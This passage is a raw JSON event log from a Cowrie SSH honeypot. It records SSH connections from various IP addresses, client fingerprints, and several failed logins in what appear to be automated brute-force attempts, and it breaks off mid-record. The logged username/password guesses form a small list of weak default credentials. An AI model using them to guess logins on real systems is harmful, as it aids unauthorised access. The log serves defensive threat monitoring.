{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:19.459721Z","src_ip":"43.162.98.118","session":"059a9b6fdd8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"user12","message":"login attempt [ubuntu/user12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:19.761379Z","src_ip":"43.162.98.118","session":"059a9b6fdd8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:20.831824Z","src_ip":"43.162.98.118","session":"059a9b6fdd8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":50022,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4cf939e0e48","protocol":"ssh","message":"New connection: 187.16.96.250:50022 (159.203.135.109:22) [session: b4cf939e0e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:21.492006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:21.496998Z","src_ip":"187.16.96.250","session":"b4cf939e0e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:21.614332Z","src_ip":"187.16.96.250","session":"b4cf939e0e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appadmin","password":"appadmin123","message":"login attempt [appadmin/appadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:22.116906Z","src_ip":"187.16.96.250","session":"b4cf939e0e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:23.236401Z","src_ip":"187.16.96.250","session":"b4cf939e0e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":45792,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0617246df1b","protocol":"ssh","message":"New connection: 210.183.21.53:45792 (10.17.0.5:22) [session: b0617246df1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:52.495788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:52.500839Z","src_ip":"210.183.21.53","session":"b0617246df1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:52.698844Z","src_ip":"210.183.21.53","session":"b0617246df1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"public","message":"login attempt [guest/public] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:53.518470Z","src_ip":"210.183.21.53","session":"b0617246df1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:54.717783Z","src_ip":"210.183.21.53","session":"b0617246df1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58690,"dst_ip":"10.17.0.5","dst_port":22,"session":"009b9b09837b","protocol":"ssh","message":"New connection: 80.94.92.184:58690 (10.17.0.5:22) [session: 009b9b09837b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:56.376866Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:21:56.500139Z","src_ip":"80.94.92.184","session":"009b9b09837b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":46558,"dst_ip":"159.203.135.109","dst_port":22,"session":"81f54a097d55","protocol":"ssh","message":"New connection: 194.59.206.2:46558 (159.203.135.109:22) [session: 81f54a097d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:05.680218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:05.693769Z","src_ip":"194.59.206.2","session":"81f54a097d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:05.780553Z","src_ip":"194.59.206.2","session":"81f54a097d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:05.870826Z","src_ip":"194.59.206.2","session":"81f54a097d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":45136,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e503ec89370","protocol":"ssh","message":"New connection: 43.162.98.118:45136 (159.203.135.109:22) [session: 1e503ec89370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:07.777390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:07.782621Z","src_ip":"43.162.98.118","session":"1e503ec89370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:07.852985Z","src_ip":"43.162.98.118","session":"1e503ec89370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tempadmin","password":"tempadmin","message":"login attempt [tempadmin/tempadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:08.159548Z","src_ip":"43.162.98.118","session":"1e503ec89370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:09.231265Z","src_ip":"43.162.98.118","session":"1e503ec89370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":34194,"dst_ip":"159.203.135.109","dst_port":22,"session":"df0d438ff9db","protocol":"ssh","message":"New connection: 36.92.140.209:34194 (159.203.135.109:22) [session: df0d438ff9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:13.574847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:13.579290Z","src_ip":"36.92.140.209","session":"df0d438ff9db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:13.866407Z","src_ip":"36.92.140.209","session":"df0d438ff9db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hubin123","message":"login attempt [root/hubin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:15.036795Z","src_ip":"36.92.140.209","session":"df0d438ff9db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:16.326033Z","src_ip":"36.92.140.209","session":"df0d438ff9db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":34552,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb444dffe1c0","protocol":"ssh","message":"New connection: 210.183.21.53:34552 (10.17.0.5:22) [session: cb444dffe1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:48.247557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:48.253380Z","src_ip":"210.183.21.53","session":"cb444dffe1c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:48.455683Z","src_ip":"210.183.21.53","session":"cb444dffe1c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX#EDC","message":"login attempt [ubuntu/1qaz@WSX#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:49.295143Z","src_ip":"210.183.21.53","session":"cb444dffe1c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:50.499307Z","src_ip":"210.183.21.53","session":"cb444dffe1c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":56192,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb9212d61777","protocol":"ssh","message":"New connection: 43.162.98.118:56192 (159.203.135.109:22) [session: cb9212d61777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:57.702927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:57.707856Z","src_ip":"43.162.98.118","session":"cb9212d61777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:57.776450Z","src_ip":"43.162.98.118","session":"cb9212d61777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"6666","message":"login attempt [test/6666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:58.078160Z","src_ip":"43.162.98.118","session":"cb9212d61777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:22:59.148664Z","src_ip":"43.162.98.118","session":"cb9212d61777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":56920,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e9ae9f3d2f3","protocol":"ssh","message":"New connection: 36.92.140.209:56920 (159.203.135.109:22) [session: 5e9ae9f3d2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:23:13.934594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:23:13.940905Z","src_ip":"36.92.140.209","session":"5e9ae9f3d2f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-